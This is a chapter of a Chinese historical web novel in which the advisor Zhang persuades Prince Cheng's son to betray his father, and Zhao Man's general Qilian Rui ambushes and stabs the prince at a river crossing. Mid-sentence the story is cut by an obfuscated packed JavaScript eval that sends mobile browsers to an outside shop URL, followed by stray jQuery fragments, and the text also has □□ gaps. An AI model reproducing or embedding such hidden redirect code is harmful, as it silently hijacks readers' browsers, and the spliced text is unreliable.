80. 刀锋

作品:《她是个文科生!

    成王沉吟片刻。


    “既然如此,那就走——”


    “父王!”


    焦宗英顾不得其他,截住话头,卑躬屈膝,“父王,要不然还是让章先生等诸位谋士多加研究,这样才好选出最适合的道路,若是一个不慎选错了,不仅是耽搁时间,也失去了一举歼灭赵满的良机。”


    成王垂眸,放在实木桌子上的手敲了敲。


    笃——笃——笃


    每一下都敲在焦宗英心上,冷汗顺着脖颈向下流,隐入衣领,最终消失不见。


    “就按你所说。”成王侧目看向章先生,“先生,那此事便交给你,给你一个时辰的时间商讨,还有熟悉地方的诸位将领,务必找出一条最合适的道路来,若是成功拿下赵满,本王重重有赏!若是败了,本王之剑也未尝不利!”


    “属下领命!”


    章先生弯腰曲背,拱手行礼,“属下一定不负王爷所托。”


    成王点头,章先生和众人慢慢后退,直至出了大帐。


    焦宗英没有第一时间离开,而是等人都走得差不多了,眼神中的恶意丝毫不掩盖的释放,本来还算好看的眼睛里此刻盛满晦暗,紧紧盯着他。


    “本公子不知章先生是何时投靠了那赵满?竟然这般诚心为她筹谋,甚至不惜置我父王于死地。”


    最后一句他说的很轻,轻到章先生几乎听不见,只能看清楚他的嘴形。


    面对他眼中的恶意,章先生轻蔑的笑笑。


    “拿人钱财为人消灾,这些不过是应当应分之事,没什么好说的,倒是二公子你,常听人说虎毒不食子,恶虎再毒尚且不食其子,但这个子却恨不得扑倒恶虎,噬咬其尸体以壮大自己。”


    “二公子,我说的对吗?”


    “你给我闭嘴!”焦宗英神色扭曲,被人戳破心底的阴暗,恨不得扑上去死了他的嘴,“你就不怕我告诉父王?到时候等着你的可不只是人头落地这么简单!”


    “二公子大可以去说,我大不了一死了之,但二公子你就不同了,身为成王嫡子,竟想着害死父亲自己取而代之,你说这事要是传出去,会不会被天下人唾骂?你还能再得到成王之位吗?”


    焦宗英脸色铁青,却强撑着道:“只要把你杀了。就没人会知道。”


    章先生垂头低低的笑起来,“杀了我?”


    “二公子莫不是想永远被庶出的大公子压着不得翻身?”


    “只要成王不死,他的眼里就永远没有你,你觉得就算你死了,成王会有一瞬间为你的死而难过吗?”


    “不,不会的,他有那么多儿子,轮不到你。”


    “所以啊,只要我们联手,杀掉你的父王,作为嫡子,也是唯一在你父王身边的孩子,你便能顺利即位,这个机会难得可贵,要是回到属地,成王身边有了其他孩子,你觉得那些臣子是会考虑你还是其他公子?”


    焦宗英一开始还能强撑着,越听到后面,脸色越白,肉眼可见的失魂落魄。


    在听到轮不到他的时候,眼里的惊惧一瞬间散开,再也收敛不住。


    是啊,父王有那么多孩子,就算他死了,父王也不会有片刻的侧目。


    可母妃只有他一个人,要是他死了,母妃就真的活不下去了。


    白着一张面无人色的脸,他定定的看着眼前嘴角勾起一抹笑的人,“那章先生要我如何配合?”


    章先生舒心大笑,拍了拍他的肩膀,“二公子放心,小事而已,到时候你就知道了,时机一成熟,我保证你会成为新一任成王,届时还请成王殿下对我们主君手下留情,要不然这弑父的留言怕是会传遍整个天下。”


    “……我知道了。”


    见他听话,章先生转身离开。


    一个时辰后,成王听取他的建议,决定走水路。


    期间,焦宗英一言不发,静静地候在一旁。


    成王不满地看了这个儿子一眼,恨铁不成钢,“你能不能像你大哥一样,整天像个闷葫芦,怎么,我欠你的吗!”


    “父王恕罪,是儿子的错,儿子可能是刚出门呛了风,身体有些不适,这才没有开口。”


    “哼!”成王摔下腰间玉佩,没在看他。


    “大军开拔!”


    *


    祁连锐早就在水路这边埋伏许久,却迟迟不见人来。


    “将军,会不会是他们走了别的路?”


    “不可能,主君料事如神,从未出错,再等等,他们一定会走这条路。”祁连锐笃定道。


    河里的水面上还飘着薄冰,哪怕是在岸边,那股子刺骨的冷还是让众人直打哆嗦,手掌骨节冻得通红。


    夜幕降临,白天里那一丝阳光吝啬地收走最后一丝暖意,寒风一吹,更是冻得人几乎要坚持不住。


    祁连锐却紧紧盯着前方,不敢有丝毫懈怠。


    “……等等,他们来了!”


    贴着地面,能听见大军马蹄的震动。抬头一看,树上残存的枯枝败叶也随着这震动哗啦啦往下落,随风飘落到河面上,有些打着旋沉入水底,有些在冰面上顺流而下,不知去向。


    祁连锐眼中满是激动,低声吩咐,“通知下去,都给我打起精神来,按计划行事!”


    “是!”


    成王骑着马被众人围在中间,因此察觉不到前方有些太过安静。


    前方有将领察觉到不对劲,想返回告诉成王,却在靠近成王队伍之时被拦下。


    拦着他的人面色严肃:


    “公子说了,王爷近日多加操劳,头疼难耐,若不是要紧事,就不要过来汇报,打扰王爷清净。”


    将领皱了皱眉,骑着马原地转了两圈。


    犹豫半晌,想要告诉王爷,又怕是自己多心,扰了王爷清净反而被问罪。


    焦宗英眼神好,一眼看见他,和章先生对视一眼,骑着马慢慢脱离队伍,来到他身边。


    “何事这般要紧,打扰了父王休息你有几个脑袋够砍?”


    “二公子赎罪,末将是察觉到前方有些不对劲,才想向王爷禀报。”


    “行了我知道了,你回去吧,我会告诉父王,无事不要再来打扰。”


    “是,末将明白。”


    见他打马而去,焦宗英返回队伍。


    成王见状随口问道:“出了何事?”


    “不过是些微小事,无妨,儿子已经处理好了。”


    说罢,焦宗英关心地看向他:“父王,这一路走来太辛苦,您要不要停下来歇歇?”


    “不用,继续走。”


    “是。”


    到达河对岸,有人下去试了试,发现水不深,甚至比想象中好的浅很多,不用做竹筏,蹚水就能过去,只是河水冰冷,最深的地方没过成年人胸口,有人犹豫不决。


    成王听后怒斥:“一群无用之辈!立刻趟水过河,不许拖延,若有违背,军令处置。”


    前方的小兵一个个哆哆嗦嗦的下水过河,河水冰冷刺骨,士兵们穿的衣服本就不保暖,有些甚至都是破败柳絮制作而成,陆地上还勉强能扛,一下水,刺骨的冰冷蔓延开来,冻得人瑟瑟发抖。


    岸上有人看着更加胆怯,却在身后将领的驱使下不得不闭眼踏入水中。


    埋伏在河两岸的赵家军见状仿佛感同身受一般。


    “这什么王爷,真是可恶,这大冷天的,他倒是骑着高头大马,风吹不着,水冻不着,手底下士兵一个个都冻得发抖却不管不顾,谁要为他卖命才是傻子!”


    “谁说不是,我这看着那边好些个小兵穿的都是些破棉败絮,根本就不保暖,本来就冻得脸色发僵,再一下水,直直地往水底下沉。”


    “还是咱们主君好,给咱们发的衣服都是新棉,塞得厚实,这穿着才暖和,我在家都没穿过这么厚实的。”


    “嘿嘿,我家婆娘在制衣坊做活,我走之前听她说制衣坊为着这批衣服天天加班加点的忙活,说不定啊,我身上穿的还是我家婆娘做的。”有人喜滋滋道。


    “我娘也在制衣坊,不过她是负责给做衣服的人做饭,回家的时候也和我说了,人太多了,她做饭都是用的两只手抡大勺,要不然根本拎不起来,我让她歇歇她还不肯,说她们都是给咱们做的衣服,要是她不在,她们该饿肚子了。”


    七嘴八舌一聊起来气氛顿时火热,冰凉的手脚好似也回暖了些许。


    “等仗打完了,我要回家娶媳妇,我娘早就给我看好了一户好人家的姑娘,就等着我回去成家。”


    “你小子好运道,打完胜仗就能回家娶新媳妇,就是不知道回去我儿子还认不认得我,我走的时候他才一岁半,等我回去该是不认得我了。”


    “噤声!”


    威严的声音一出,众人瞬间警惕起来,朝着河流方向看去,成王军队已经过河一半。


    只等号令发出,便可冲上去杀敌。


    “杀啊!!!”


    雄厚的嗓音一出,埋伏的赵家军顿时如同猛虎下山一般冲了出去。


    与此同时,弓箭手就位,一只只穿云箭朝着敌军射了过去。


    成王还没过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869828|186465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    河,被拦在半路,又惊又怒,“怎么回事?!来人!给我杀回去!”


    他能坐稳今天这个位子,绝不是徒有虚名之辈,反手抽出身边亲信长枪,身先士卒冲杀而去。


    焦宗英一惊,急忙在身后喊道:“来人,护驾!保护父王!”


    章先生适时隐匿于乱兵之中,悄悄向后退,周围围着赵满特意派过来保护他之人,一行人虽在战场之中,但细看就能发现抽身于战场之外。


    祁连锐瞄准成王,双手拉弓,弓弦紧绷到极致。


    “嘣!”


    放手。


    一只羽箭直射而出,闯过重重阻碍,直冲成王心肺。


    锃!


    长枪和羽箭交锋,闪过一丝火花,呲啦作响,不过瞬间,另一只羽箭穿风而来,猛地扎进成王右臂。


    成王凭借多年习武积累,成功挡住第一支羽箭,正在他诧异这么远的距离,这只箭竟然能射过来时,第二支箭接踵而至,这次他没了好运,也无法腾出手来阻挡。


    祁连锐眯眼看着,成王身侧已经被卫兵团团围住,密不透风,想要再次射箭已然不能。


    于是下令,“跟我冲出去,第三小队将他们分割开来,剩下的人拖住他们,不要让他们靠近!”


    “是!”


    白衣小将身骑高头大马,居高临下,威风凛凛,手持一杆银枪,透过人群,成王能看见那杆银枪泛着凌凌冷光。


    日头西落,天边唯剩一点残红,看不清人的模样,但那道骑在马上的剪影却让他心惊不已。


    “来者何人?”他高声道。


    “吾主赵满,特奉令清剿逆贼,放下武器投降者,既往不咎!”


    逆贼二字一出,成王本就铁青的脸色气的发僵,咬牙切齿地突出二字,“逆贼?”


    “天下谁人不知三路反王进攻京城,害得景阳帝身陨,你不是乱成贼子,谁是?”


    “本王倒是小看了赵满这个黄毛丫头,土匪出身,如今竟然也能与本王叫嚣。”成王眼神阴沉,不过瞬息,话锋一转:“不过本王这人最喜贤才,不忍心看明珠暗投,瞧你功夫不错,不如投靠本王麾下,本王给你封侯,总比在赵满军中当个无名小卒强,怎么样,要不要考虑考虑?”


    祁连锐嗤笑一声,“死到临头还在做梦,小爷我也不愿意再跟死人啰嗦,晦气,拿命来!”


    “竖子尔敢!”


    祁连锐腿腹一夹,黑马嘶鸣一声,抬起马蹄冲上前去。


    双方交战激烈,成王这边都是用了多年的亲兵,同样不可小觑。


    章先生带着人躲在后方,暗地里观察战况,焦宗英也隐隐后退,带着身边亲信假装抵抗,实则余光闪烁,紧紧盯着成王。


    刀枪相撞,战马齐鸣。


    天边的最后一点残红退去,只剩下鸭青色的天幕笼罩上空,不宽的河流两边到处都是战场,鲜红的血液染红了整个下游,有人仰躺在河流中顺着下飘,有人则倒在岸边,生死不知。


    祁连锐抬手抹去脸上飞溅的温热血液,给了身边人一个眼神。


    不过半刻钟,赵宝云新设计出来的□□便派上了用场,锋利的能吹毛短发,刀锋所过之处无不血流成河。


    对面慌了,“殿下,他们用的刀有问题,怎会这般锋利?!”


    他见过的最锋利的刀也不过如此,就算是成王手中的长枪也未必有此刀锋利。


    在双武力没有太大悬殊的情况下,兵器便成了制胜关键。


    祁连锐带着的这队人马人数比成王少很多,但靠着武力勉强打个平手,可□□一出,局势瞬间逆转,趁对方没有反应过来,他抽出腰间手下扔过来的佩刀,单枪匹马将成王亲兵杀穿。


    眼看着他逼近,成王慌忙想逃,身后却不知为何被堵住,逃脱不得。


    一切都发生在瞬息之间,逃不了,他只能拔刀应对。


    那么多年习武,光凭武力他也能勇冠三军,本以为至少能撑到亲兵缓过来支援,可祁连锐没给他这个机会,□□携冷风而来,眨眼逼近面门。


    他抽刀抵挡。


    欻!


    刀,断了。


    扑哧!利物挺进血肉,除了身体的主人,几乎没人察觉这一道微乎其微的声响。


    祁连锐毫不念战,转身就走,带着亲兵慢慢后退。


    焦宗和亲眼见到那柄造型奇怪的刀捅进父王胸腹,白刀进入身体,血液染红刀柄。


    “父王,不要!”


    第一时间他感到的是惊慌,以超乎常人的速度飞扑过去。